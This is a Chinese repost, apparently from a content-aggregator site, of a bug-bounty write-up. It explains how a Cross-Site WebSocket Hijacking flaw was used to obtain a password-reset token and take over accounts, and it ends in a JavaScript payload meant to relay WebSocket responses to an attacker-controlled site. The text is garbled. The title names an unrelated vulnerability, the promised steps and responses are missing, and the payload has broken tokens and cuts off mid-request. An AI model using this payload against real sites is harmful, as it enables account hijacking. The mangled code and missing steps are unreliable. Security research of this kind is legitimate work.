url存在宽字节跨站漏洞_利用WebSocket跨站劫持(CSWH)漏洞接管帐户
生活随笔
收集整理的這篇文章主要介紹了
url存在宽字节跨站漏洞_利用WebSocket跨站劫持(CSWH)漏洞接管帐户
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
在一次漏洞懸賞活動中,我發現了一個使用WebSocket連接的應用,所以我檢查了WebSocket URL,發現它很容易受到CSWH的攻擊(WebSocket跨站劫持)
有關CSWH的更多詳細信息,可以訪問以下鏈接了解
https://www.christian-schneider.net/CrossSiteWebSocketHijacking.html首先,我們假設一個應用是通過以下URL建立websocket連接的 wss://website.com。關于驗證URL是否存在CSWH漏洞可以遵循以下步驟:
通過以上步驟,我確定應用存在CSWH漏洞。
一旦在新選項卡上建立了WebSocket連接,我就收到了下面的websocket響應
從上述響應中你可看到,參數“_forgotPasswordId”的值為“null”。
現在我需要“_forgotPasswordId”參數來發送惡意請求來重置密碼。
我再次測試了Websocket連接,這次觀察到了如下回應,它包含一個forgetPasswordID令牌
利用
現在準備CSWH漏洞的利用鏈,重置密碼接管帳戶。以下由HTML代碼組成的payload會發送XHR請求,并把回應導向攻擊者控制的站點。
Testing var wsUri = "wss://host.com"; var output; function init() { output = document.getElementById("output"); testWebSocket(); } function testWebSocket() { websocket = new WebSocket(wsUri); websocket.onopen = function(evt) { onOpen(evt) }; websocket.onclose = function(evt) { onClose(evt) }; websocket.onmessage = function(evt) { onMessage(evt) }; websocket.on error = function(evt) { on error(evt) }; } function onOpen(evt) { writeToScreen("CONNECTED"); doSend('websocket fr ame '); } function onClose(evt) { writeToScreen("DISCONNECTED"); } function onMessage(evt) {var xhr = new xm lHttpRequest();xhr.open("POST總結
以上是生活随笔為你收集整理的url存在宽字节跨站漏洞_利用WebSocket跨站劫持(CSWH)漏洞接管帐户的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 煤气灶维修多少钱啊?
- 下一篇: 百米路由器2登陆地址_腾达无线路由器怎么